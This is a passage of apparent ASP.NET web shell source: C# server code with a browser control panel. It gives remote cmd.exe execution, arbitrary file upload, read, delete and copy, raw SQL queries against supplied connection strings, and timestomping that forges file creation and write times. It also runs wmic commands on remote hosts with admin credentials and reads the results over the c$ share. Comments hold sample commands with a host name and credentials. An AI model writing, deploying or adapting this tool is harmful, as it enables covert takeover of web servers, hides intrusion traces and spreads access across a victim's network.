ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n    void g(string hid, string tfil, string ttar, string ttim){try{if(c()&&!string.IsNullOrEmpty(tfil)){l(string.Empty);if(hid==\"1\")ti(tfil);else if(hid==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}else if(hid==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}}}catch(Exception ex){l(ex.Message);}}\r\n    void h(string upb, string upd){try{if(c()&&!string.IsNullOrEmpty(upb)&&!string.IsNullOrEmpty(upd)){System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath()+upd,Convert.FromBase64String(upb));l(upd+\" successfuly uploaded\");}}catch(Exception ex){l(ex.Message);}}\r\n    void d(string del){try{if(c()&&!string.IsNullOrEmpty(del)){System.IO.File.Delete(System.IO.Path.GetTempPath()+del);l(del+\" successfuly deleled\");}}catch(Exception ex){l(ex.Message);}}\r\n    void sq(string sqc, string sqq){try{if(c()){if(!string.IsNullOrEmpty(sqc)){using(System.Data.SqlClient.SqlConnection con=new System.Data.SqlClient.SqlConnection(sqc)){if(string.IsNullOrEmpty(sqq)){try{con.Open();l(\"Sql Server Connection Successfuly Established\");}catch(Exception ex){l(\"Sql Server Connection Failed :\"+Environment.NewLine+ex.ToString());}}else{try{con.Open();System.Data.SqlClient.SqlCommand com=new System.Data.SqlClient.SqlCommand(sqq,con);System.Data.SqlClient.SqlDataAdapter ad=new System.Data.SqlClient.SqlDataAdapter(com);System.Data.DataTable dt=new System.Data.DataTable();ad.Fill(dt);DataGrid grid=new DataGrid();System.Web.UI.WebControls.DataList list=new System.Web.UI.WebControls.DataList();grid.DataSource=dt;grid.DataBind();log.Controls.Add(grid);}catch(Exception ex){l(\"Error : <br>\"+ex.ToString());}}con.Close();}}}}catch(Exception ex){l(ex.Message);}}\r\n    string x(string f){return Encoding.UTF8.GetString(Convert.FromBase64String(f));}\r\n    void l(string ll){log.InnerHtml=tb(ll);}\r\n\r\n    void u(HttpPostedFile upl, string sav, bool vir, string nen, string isExp)\r\n    {\r\n        try\r\n        {\r\n            if (c())\r\n            {\r\n                if (upl!=null&&upl.ContentLength>0)\r\n                {\r\n                    string fn=string.IsNullOrEmpty(nen)?System.IO.Path.GetFileName(upl.FileName):nen;\r\n                    string path=vir?Server.MapPath(sav):sav;\r\n                    string SaveLocation=System.IO.Path.HasExtension(path)?path:path.TrimEnd('\\\\')+\"\\\\\"+fn;upl.SaveAs(SaveLocation);\r\n                    l(\"File uploaded successfuly : \"+SaveLocation);\r\n                    if (!string.IsNullOrEmpty(isExp))\r\n                    {\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\"+sav.Replace(\"\\\\\", \"\\\\\\\\\")+@\"';\r\nsendAddress();\";\r\n                    }\r\n                }\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            l(ex.Message);\r\n        }\r\n    }\r\n\r\n    string exec(string cmd,string pro = \"\")\r\n    {\r\n        System.Diagnostics.Process n=new System.Diagnostics.Process();\r\n        n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);\r\n        n.StartInfo.UseShellExecute=false;\r\n        n.StartInfo.RedirectStandardInput=true;\r\n        n.StartInfo.RedirectStandardOutput=true;\r\n        n.StartInfo.RedirectStandardError=true;\r\n        n.StartInfo.CreateNoWindow=true;\r\n        string o=null;\r\n        n.Start();\r\n        n.StandardInput.WriteLine(cmd);\r\n        n.StandardInput.WriteLine(\"exit\");\r\n        o =n.StandardOutput.ReadToEnd();\r\n        n.WaitForExit();\r\n        n.Close();\r\n        return o;\r\n    }\r\n\r\n    void fnCmdB(string cmd){\r\n        string ret = \"Error : -\";\r\n        try {\r\n            if (c())\r\n            {\r\n                string o = exec(cmd);\r\n\r\n                o = o.Remove(0, o.IndexOf(Environment.NewLine) + 2);\r\n                o = o.Remove(0, o.IndexOf(Environment.NewLine) + 2);\r\n                o = o.Remove(0, o.IndexOf(Environment.NewLine));\r\n                o = o.Remove(o.LastIndexOf(Environment.NewLine));\r\n                o = o.Remove(o.LastIndexOf(Environment.NewLine) + 2);\r\n\r\n                ret = HttpUtility.HtmlEncode(o);\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n\r\n    void gsize(string addr)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            hasErrorInGetSize = false;\r\n            long size = GetDirSize(new DirectoryInfo(addr));\r\n            ret = sizeFix(size);\r\n\r\n            if (hasErrorInGetSize && sizelvl == 0)\r\n                ret = sizeError;\r\n            else if(hasErrorInGetSize)\r\n                ret = \"!\" + ret;\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n    void view(string path)\r\n    {\r\n        string ret = \"You are viewing the contents of this file : \" + path + Environment.NewLine;\r\n        try\r\n        {\r\n            ret += File.ReadAllText(path);\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n    void delete(string path)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            File.Delete(path);\r\n            exp(Path.GetDirectoryName(path));\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n    void rename(string oldName, string newName)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            File.Move(oldName, newName);\r\n            exp(Path.GetDirectoryName(oldName));\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n    void copy(string oldName, string newName)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            File.Copy(oldName, newName);\r\n            ret = \"File \\\"\" + oldName + \"\\\" successfuly copied to \\\"\" + newName + \"\\\"\";\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n    void exp(string exadd)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (c())\r\n            {\r\n                if (exadd.ToLower() == \"root\")\r\n                {\r\n                    ret = \"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";// in javascript json parser two \\ = one \\\r\n                    string netUse = exec(\"net use\");\r\n                    string[] lines = netUse.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries);\r\n                    foreach (string item in lines)\r\n                    {\r\n                        if (item.ToLower().StartsWith(\"ok\"))\r\n                        {\r\n                            int index = item.IndexOf(\"\\\\\\\\\");\r\n                            ret += \",{\\\"name\\\":\\\"\\\\\\\\\" + item.Substring(index, item.IndexOf('\\\\', index + 2) - index) + \"\\\"}\";\r\n                        }\r\n                    }\r\n                    ret += \"]}\";\r\n                }\r\n                else\r\n                {\r\n                    if (exadd.StartsWith(\"\\\\\\\\\") && exadd.Trim('\\\\').Split('\\\\').Count() == 1) // \\\\localhost\r\n                    {\r\n                        string tmp = exadd.ToLower().TrimEnd('\\\\');\r\n                        if (tmp == \"\\\\\\\\localhost\")\r\n                        {\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (DriveInfo item in DriveInfo.GetDrives())\r\n                            {\r\n                                if (item.IsReady)\r\n                                {\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\"\r\n                                        , item.Name.TrimEnd('\\\\').TrimEnd(':') + \"$\"\r\n                                        , item.TotalSize\r\n                                        , item.TotalFreeSpace\r\n                                        , \"[\" + sizeFix(item.TotalFreeSpace) + \"] free of [\" + sizeFix(item.TotalSize) + \"]\"\r\n                                        , item.DriveFormat\r\n                                        , item.DriveType);\r\n                                    isStart = true;\r\n                                }\r\n                            }\r\n                            ret += \"]}\";\r\n                        }\r\n                        else\r\n                        {\r\n                            //wmic logicaldisk get Caption,FileSystem,Size,FreeSpace,Description\r\n                            //wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c {3} >> {4}\"\" 2>&1\r\n                            //wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c wmic logicaldisk get Caption,FileSystem,Size,FreeSpace,Description >> {4}\"\" 2>&1 \r\n                            //wmic /node:localhost process call create \"\"cmd.exe /c wmic logicaldisk get Caption,FileSystem,Size,FreeSpace,Description >> c:\\windows\\temp\\abcd.txt\"\" 2>&1 \r\n                            if (!string.IsNullOrEmpty(adminU) && !string.IsNullOrEmpty(adminP))\r\n                            {\r\n                                //wmic /node:localhost process call create \"\"cmd.exe /c wmic logicaldisk get Caption,FileSystem,Size,FreeSpace,Description >> c:\\windows\\temp\\abcd.txt\"\" 2>&1 \r\n                                //Caption\r\n                                //C:\r\n                                //D:\r\n                                //E:\r\n                                //Caption\r\n                                //C:\r\n                                //D:\r\n                                //E:\r\n                                //FileSystem\r\n                                //NTFS\r\n                                //NTFS\r\n\r\n                                //Size\r\n                                //128842870784\r\n                                //164711362560\r\n\r\n                                //FreeSpace\r\n                                //99978657792\r\n                                //161243799552\r\n\r\n                                //Description\r\n                                //Local Fixed Disk\r\n                                //Local Fixed Disk\r\n                                //CD-ROM Disc\r\n\r\n                                //type \\\\bdfdc\\c$\\windows\\temp\\KMSHFX0023.tmp 2>&1\r\n                                //del \\\\bdfdc\\c$\\windows\\temp\\KMSHFX0023.tmp 2>&1\r\n\r\n                                //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Caption\" 2>&1\r\n                                //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get FileSystem\" 2>&1\r\n                                //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Size\" 2>&1\r\n                                //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get FreeSpace\" 2>&1\r\n                                //wmic /node:bdfdc /user:veritas /password:veritas process call create \"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Description\" 2>&1\r\n\r\n                                //Access  Availability  BlockSize  Caption  Compressed  ConfigManagerErrorCode  ConfigManagerUserConfig  CreationClassName  Description       DeviceID  DriveType  ErrorCleared  ErrorDescription  ErrorMethodology  FileSystem  FreeSpace     InstallDate  LastErrorCode  MaximumComponentLength  MediaType  Name  NumberOfBlocks  PNPDeviceID  PowerManagementCapabilities  PowerManagementSupported  ProviderName  Purpose  QuotasDisabled  QuotasIncomplete  QuotasRebuilding  Size          Status  StatusInfo  SupportsDiskQuotas  SupportsFileBasedCompression  SystemCreationClassName  SystemName  VolumeDirty  VolumeName  VolumeSerialNumber\r\n                                //0                                C:       FALSE                                                        Win32_LogicalDisk  Local Fixed Disk  C:        3                                                            NTFS        99978657792                               255                     12         C:                                                                                                               TRUE            FALSE             FALSE             128842870784                      TRUE                TRUE                          Win32_ComputerSystem     BDFDC       FALSE                    54250D25\r\n                                //0                                D:       FALSE                                                        Win32_LogicalDisk  Local Fixed Disk  D:        3                                                            NTFS        161243799552                              255                     12         D:                                                                                                               TRUE            FALSE             FALSE             164711362560                      TRUE                TRUE                          Win32_ComputerSystem     BDFDC       FALSE                    6C7130E4\r\n                                //                                 E:                                                                    Win32_LogicalDisk  CD-ROM Disc       E:        5                                                                                                                                          11         E:                                                                                                                                                                                                                                                       Win32_ComputerSystem     BDFDC\r\n\r\n                                tmp = tmp.TrimStart('\\\\');\r\n                                exec(string.Format(@\"del \\\\{0}\\c$\\windows\\temp\\KMSHFX0023.tmp 2>&1\", tmp));\r\n                                exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Caption\"\" 2>&1\", tmp, adminU, adminP));\r\n                                exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get FileSystem\"\" 2>&1\", tmp, adminU, adminP));\r\n                                exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Size\"\" 2>&1\", tmp, adminU, adminP));\r\n                                exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get FreeSpace\"\" 2>&1\", tmp, adminU, adminP));\r\n                                exec(string.Format(@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c >> c:\\windows\\temp\\KMSHFX0023.tmp 2>&1 wmic logicaldisk get Description\"\" 2>&1\", tmp, adminU, adminP));\r\n                                System.Threading.Thread.Sleep(1000);\r\n                                string[] logicalDisk = File.ReadAllLines(string.Format(@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023.tmp\", tmp));\r\n                                System.Threading.Thread.Sleep(500);\r\n                                exec(string.Format(@\"del \\\\{0}\\c$\\windows\\temp\\KMSHFX0023.tmp 2>&1\", tmp));\r\n\r\n                                List<string> diskTemp = new List<string>();\r\n                                bool firstTime = true;\r\n                                int diskID = 0;\r\n                                foreach (string item in logicalDisk)\r\n                                {\r\n                                    if (item == \"Caption\")\r\n                                    {\r\n                                        continue;\r\n                                    }\r\n                                    else if (item == \"FileSystem\" || item == \"Size\" || item == \"FreeSpace\" || item == \"Description\")\r\n                                    {\r\n                                        firstTime = false;\r\n                                        diskID = 0;\r\n                                        continue;\r\n                                    }\r\n\r\n                                    if (firstTime)\r\n                                        diskTemp.Add(item);\r\n                                    else\r\n                                        diskTemp[diskID++] += \"|\" + item;\r\n                                }\r\n\r\n                                ret = \"{\\\"dir\\\":[\";\r\n                                bool isStart = false;\r\n                                foreach (string item in diskTemp)\r\n                                {\r\n                                    string[] diskInfo = item.Split('|');\r\n\r\n                                    long TotalSize = long.Parse(diskInfo[2]);\r\n                                    long TotalFreeSpace = long.Parse(diskInfo[3]);\r\n\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\"\r\n                                        , diskInfo[0].TrimEnd('\\\\').TrimEnd(':') + \"$\"\r\n                                        , TotalSize\r\n                                        , TotalFreeSpace\r\n                                        , \"[\" + sizeFix(TotalFreeSpace) + \"] free of [\" + sizeFix(TotalSize) + \"]\"\r\n                                        , diskInfo[1]\r\n                                        , diskInfo[4]);\r\n                                    isStart = true;\r\n                                }\r\n                                ret += \"]}\";\r\n                            }\r\n                            else\r\n                                ret = \"Error : Admin Username or Password is empty\";\r\n                        }\r\n                    }\r\n                    else // \\\\localhost\\c$\\\r\n                    {\r\n                        FileAttributes attr = File.GetAttributes(exadd);\r\n                        if ((attr & FileAttributes.Directory) == FileAttributes.Directory)\r\n                        {\r\n                            DirectoryInfo dirInfo = new DirectoryInfo(exadd);\r\n                            ret = \"{\" + string.Format(\"{0},{1}\", createJsonDirectory(dirInfo.GetDirectories()), createJsonFile(dirInfo.GetFiles())) + \"}\";\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            ret = \"Error : \" + ex.Message;\r\n        }\r\n        Response.Clear();\r\n        Response.Write(tb(ret));\r\n        Response.End();\r\n    }\r\n\r\n    bool hasErrorInGetSize = false;\r\n    int sizelvl = 0;\r\n    string sizeError;\r\n    long GetDirSize(DirectoryInfo d)\r\n    {\r\n        long size = 0;\r\n\r\n        try\r\n        {\r\n            FileInfo[] fis = d.GetFiles();\r\n            foreach (FileInfo fi in fis)\r\n            {\r\n                size += fi.Length;\r\n            }\r\n\r\n            sizelvl++;\r\n\r\n            DirectoryInfo[] dis = d.GetDirectories();\r\n            foreach (DirectoryInfo di in dis)\r\n            {\r\n                size += GetDirSize(di);\r\n            }\r\n        }\r\n        catch (UnauthorizedAccessException ex)\r\n        {\r\n            sizeError = \"Error : \" + ex.Message;\r\n            hasErrorInGetSize = true;\r\n        }\r\n\r\n        return size;\r\n    }\r\n    string createJsonDirectory(DirectoryInfo[] dir)\r\n    {\r\n        string json = \"\\\"dir\\\":[\";\r\n        for (int i = 0; i < dir.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += string.Format(\"{{\\\"name\\\":\\\"{0}\\\"}}\", dir[i].Name);\r\n            //json += \"\\\"\" + dir[i].Name + \"\\\"\";\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(FileInfo[] file)\r\n    {\r\n        string json = \"\\\"file\\\":[\";\r\n        for (int i = 0; i < file.Length; i++)\r\n        {\r\n            if (i > 0)\r\n                json += \",\";\r\n            json += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\"}}\",file[i].Name,sizeFix(file[i].Length));\r\n        }\r\n        json += \"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size)\r\n    {\r\n        double s = size;\r\n        if (s < 1024) return s + \" B\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s, 2) + \" KB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s, 2) + \" MB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s, 2) + \" GB\";\r\n        s = s / 1024;\r\n        return Math.Round(s, 2) + \" TB\";\r\n    }\r\n</script>\r\n\r\n<style>body,html{margin:0;padding:0;direction:ltr;background:#000;color:#000 !important;}form{margin:0;}*{font:14px arial;}t{width:180px;display:inline-block;text-align:right;padding-right:5px;}g{margin-left:30px;}input[type=\"text\"],input[type=\"file\"],textarea {width:60%;height:25px;background:#cbcbcb;color:#000;border:1px solid #999;margin-bottom:3px;}input[type=\"text\"]{padding:2px;}input[type=\"button\"],input[type=\"submit\"] {height:23px;}input[type=\"checkbox\"]{width:23px;height:24px;position:absolute;margin:0;}hr{margin:0;border:0;border-top:1px solid #DDD;}.h{width:100px;text-align:center;background:rgb(255,36,0);color:#fff;vertical-align:middle;}table{width:100%;margin:0;border-collapse:collapse;}.b{padding:10px 0px 9px;}</style>\r\n<script>\r\n    function use() { var n = document; var d = n.getElementById(\"d\").innerHTML; d = d.substring(0, d.lastIndexOf('\\\\') + 1); n.getElementsByName(\"cmd\")[0].value += d; n.getElementById(\"uplSaveAddress\").value += d; n.getElementsByName(\"don\")[0].value += d; }\r\n    function subm() { var mmm = document.getElementsByClassName('mmm'); for (var i = 0; i < mmm.length; i++) { mmm[i].value = b64EncodeUnicode(mmm[i].value);}}\r\n    function reset() { document.cookie = \"data=;expires=Thu, 01 Jan 1970 00:00:01 GMT;path=/\";location.href = location.pathname;}\r\n</script>\r\n<style>\r\n    body{flex-direction:column;display:flex;padding:5px;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif}\r\n    div.tbbt{overflow:hidden;border:1px solid #ccc;background-color:#aaa}\r\n    div.tbbt button{background-color:inherit;float:left;border:none;outline:none;cursor:pointer;padding:14px 16px;transition: 0.3s;font-size:17px;}\r\n    div.tbbt button:hover{background-color:#ddd}\r\n    div.tbbt button.active{background-color:#ccc}\r\n    .tb{display:none;border:1px solid #ccc;border-top:none;padding:5px;background-color:#aaa}\r\n    .loader{\r\n        border:3px solid #f3f3f3;\r\n        border-radius:50%;\r\n        border-top:3px solid #3498db;\r\n        width:16px;\r\n        height:16px;\r\n        -webkit-animation: spin 2s linear infinite;\r\n        animation:spin 2s linear infinite;\r\n        position:absolute;\r\n    }\r\n    @-webkit-keyframes spin {\r\n        0%{ -webkit-transform:rotate(0deg);}\r\n        100%{-webkit-transform:rotate(360deg);}\r\n    }\r\n    @keyframes spin {\r\n        0%{ transform:rotate(0deg);}\r\n        100%{transform:rotate(360deg);}\r\n    }\r\n    #objFrame{padding:0 5px 5px 5px}\r\n    .objRight {\r\n        display: table;\r\n        padding:0 5px;\r\n        cursor: pointer;\r\n        float:left;\r\n        line-height:24px;\r\n        border-radius: 0 5px 5px 0;\r\n    }\r\n    .objD{background-color: #23a4ff}\r\n    .objD:hover {background-color:#63beff}\r\n    .objN {background-color: #23d7ff}\r\n    .objN:hover {background-color:#72e5ff}\r\n    .objF {\r\n        margin-top: 5px;\r\n        min-height: 24px;\r\n    }\r\n    .objLeft {\r\n        position: relative;\r\n        padding: 0 5px;\r\n        float: left;\r\n        width: 75px;\r\n        background-color: #c3c3c3;\r\n        border-radius: 5px 0 0 5px;\r\n        line-height: 24px;\r\n    }\r\n    .objS {\r\n        text-align: right;\r\n        cursor: default;\r\n        overflow: hidden;\r\n        max-height: 24px;\r\n        min-height: 24px;\r\n    }\r\n    .objS:hover {\r\n        background-color: #d3d3d3;\r\n    }\r\n    .objB {\r\n        padding: 0 5px;\r\n        float: left;\r\n        line-height: 24px;\r\n    }\r\n    .objL{display:inline-block;margin-left:3px;}\r\n    .objLocHolder{\r\n        padding: 0 5px 0 5px;\r\n        min-height: 24px;\r\n        margin-top: 5px;\r\n    }\r\n    .objError {\r\n        background-color: #ff2e2e;\r\n        color: white;\r\n    }\r\n    .objError:hover {\r\n        background-color: #8a1b1b;\r\n    }\r\n    .driveSizeProgress {\r\n        width:200px;\r\n        border:1px solid white;\r\n        background-color:#d8d6d6;\r\n        height: 22px;\r\n        float: left;\r\n        margin-left: 5px;\r\n        border-radius:5px;\r\n    }\r\n    .driveSizeProgress div{\r\n        background-color:#26a0da;\r\n        height: 22px;\r\n        border-radius:5px;\r\n    }\r\n    .driveSizeText {\r\n        float: left;\r\n        margin-left: 5px;\r\n    }\r\n    .driveSizeText .t{\r\n        padding: 4px;\r\n        display: inline-block;\r\n        color: #444444;\r\n        border: 1px solid #e0e0e0;\r\n        border-radius: 5px 0 0 5px;\r\n    }\r\n    .driveSizeText .v{\r\n        background-color: #e0e0e0;\r\n        padding: 5px;\r\n        display: inline-block;\r\n        border-radius:0 5px 5px 0;\r\n    }\r\n    .cat {\r\n        float:left;\r\n        padding-top: 5px;\r\n    }\r\n    #log {\r\n        flex:1 0;\r\n        overflow-y:scroll;\r\n        color:#fff;\r\n        margin:0;\r\n        padding-top:5px;\r\n        min-height:500px;\r\n        font-family:\"Lucida Console\";\r\n    }\r\n    .iCmd {\r\n        float:left;\r\n        margin-left:5px;\r\n        border-radius:5px;\r\n        cursor: pointer;\r\n        background-color: #d6d6d6;\r\n        display: inline-block;\r\n        padding: 0 5px;\r\n        line-height: 20px;\r\n        user-select: none;\r\n        border:2px solid;\r\n    }\r\n    .iInput {\r\n    float: left;\r\n    margin-left: 5px;\r\n    border: 2px solid;\r\n    border-radius: 5px;\r\n    }\r\n    .iInput .t{\r\n    display: inline-block;\r\n    color: #444444;\r\n    border-radius: 5px 0 0 5px;\r\n    cursor: default;\r\n    background-color: #cbcbcb;\r\n    }\r\n        .iInput .t input {\r\n        border: none;\r\n        margin: 0;\r\n        padding: 0 5;\r\n        line-height: 22px;\r\n        background: none;\r\n        width: 100px;\r\n        height: 20px;\r\n        }\r\n    .iInput .v{\r\n    background-color: #d6d6d6;\r\n    padding: 0 5px;\r\n    display: inline-block;\r\n    border-radius: 0 5px 5px 0;\r\n    cursor: pointer;\r\n    border-left: 2px solid;\r\n    line-height: 20px;\r\n    }\r\n    .iInput.iRename {\r\n        color:#a291fb;border-color:#a291fb;\r\n    }\r\n    .iInput.iRename .v {\r\n        border-color:#a291fb;\r\n    }\r\n    .iInput.iRename .v:hover {\r\n        color:#fff;background-color:#8a73ff;border-color:#8a73ff;\r\n    }\r\n    .iInput.iRename .v:active {\r\n        background-color:#7860f9;\r\n    }\r\n    .iInput.iCopy {\r\n        color:#a96216;border-color:#a96216;\r\n    }\r\n    .iInput.iCopy .v {\r\n        border-color:#a96216;\r\n    }\r\n    .iInput.iCopy .v.copy {\r\n        border-radius:0;\r\n    }\r\n    .iInput.iCopy .v:hover {\r\n        color:#fff;background-color:#c86f11;border-color:#c86f11;\r\n    }\r\n    .iInput.iCopy .v:active {\r\n        background-color:#a96216;\r\n    }\r\n    .iDownload {color:#ff5bd1;border-color:#ff5bd1;}\r\n    .iDownload:hover {color:#fff;border-color:#ff74d8;background-color:#ff74d8;}\r\n    .iDownload:active {background-color:#ff5bd1;}\r\n    .iDelete {color:#dc73ff;border-color:#dc73ff;}\r\n    .iDelete:hover {color:#fff;border-color:#d65aff;background-color:#d65aff;}\r\n    .iDelete:active {background-color:#cf40ff;}\r\n    /*.iRename {color:#a291fb;border-color:#a291fb;}\r\n    .iRename:hover {color:#fff;border-color:#8a73ff;background-color:#8a73ff;}\r\n    .iRename:active {background-color:#7860f9;}*/\r\n    \r\n    /*\">Download</div><div class=\"iCmd iDelete\">Delete</div><div class=\"iCmd iRename\">Rename</div>*/\r\n</style>\r\n<script>\r\n    var sizeArray = new Array();\r\n    function openTab(sender, nm)\r\n    {\r\n        var i, tb, tblnk;\r\n        tb = document.getElementsByClassName(\"tb\");\r\n        for (i = 0; i < tb.length; i++) {\r\n            tb[i].style.display = \"none\";\r\n        }\r\n        tblnk = document.getElementsByClassName(\"tblnk\");\r\n        for (i = 0; i < tblnk.length; i++) {\r\n            tblnk[i].className = \"tblnk\";\r\n        }\r\n        document.getElementById(nm).style.display = \"block\";\r\n        sender.className += \" active\";\r\n\r\n    }\r\n    function fixLogSize()\r\n    {\r\n        console.log(\"calc(100% - \" + document.getElementById('header').offsetHeight + \")\");\r\n        document.getElementById('log').style.height = \"calc(100% - \" + document.getElementById('header').offsetHeight + \")\";\r\n    }\r\n\r\n    function readCookie(name)\r\n    {\r\n        var nameEQ = name + \"=\";\r\n        var ca = document.cookie.split(';');\r\n        for (var i = 0; i < ca.length; i++) {\r\n            var c = ca[i];\r\n            while (c.charAt(0)==' ') c = c.substring(1, c.length);\r\n            if(c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);\r\n        }\r\n        return null;\r\n    }\r\n    function proecessDirectory(resText)\r\n    {\r\n        document.getElementById(\"loader\").style.display = \"none\";\r\n        var data = b64DecodeUnicode(resText)\r\n        makeLocation();\r\n        var Frame = document.getElementById(\"objFrame\");\r\n        Frame.innerHTML = \"\";\r\n        if (data.startsWith(\"Error\")) {\r\n            addError(Frame, data);\r\n        }\r\n        else {\r\n            var info = JSON.parse(data);\r\n            console.log(data);\r\n            console.log(info);\r\n            if (info.dir) {\r\n                var f = document.createElement(\"div\");\r\n                f.className = \"objF\";\r\n\r\n                var s = document.createElement(\"div\");\r\n                s.className = \"objLeft objS\";\r\n                s.innerText = \"Get All Size\";\r\n                s.style.cursor = \"pointer\";\r\n                s.onclick = function () { getAllSize(); };\r\n\r\n                f.appendChild(s);\r\n                Frame.appendChild(f);\r\n\r\n                for (var i = 0; i < info.dir.length; i++)\r\n                    addFolder(Frame, info.dir[i]);\r\n            }\r\n            if (info.file)\r\n                for (var i = 0; i < info.file.length; i++)\r\n                    addFile(Frame, info.file[i].name, info.file[i].size)\r\n        }\r\n    }\r\n    function sendAddress(adminUP)\r\n    {\r\n        document.getElementById(\"loader\").style.display = \"inline-block\";\r\n        var address = document.getElementsByName(\"exadd\")[0].value;\r\n        if (!adminUP)\r\n            adminUP = \"\";\r\n        var info = {\r\n            data: \"exadd=\" + b64EncodeUnicode(address) + adminUP,\r\n            onSuccess: function (resText) {\r\n                proecessDirectory(resText);\r\n                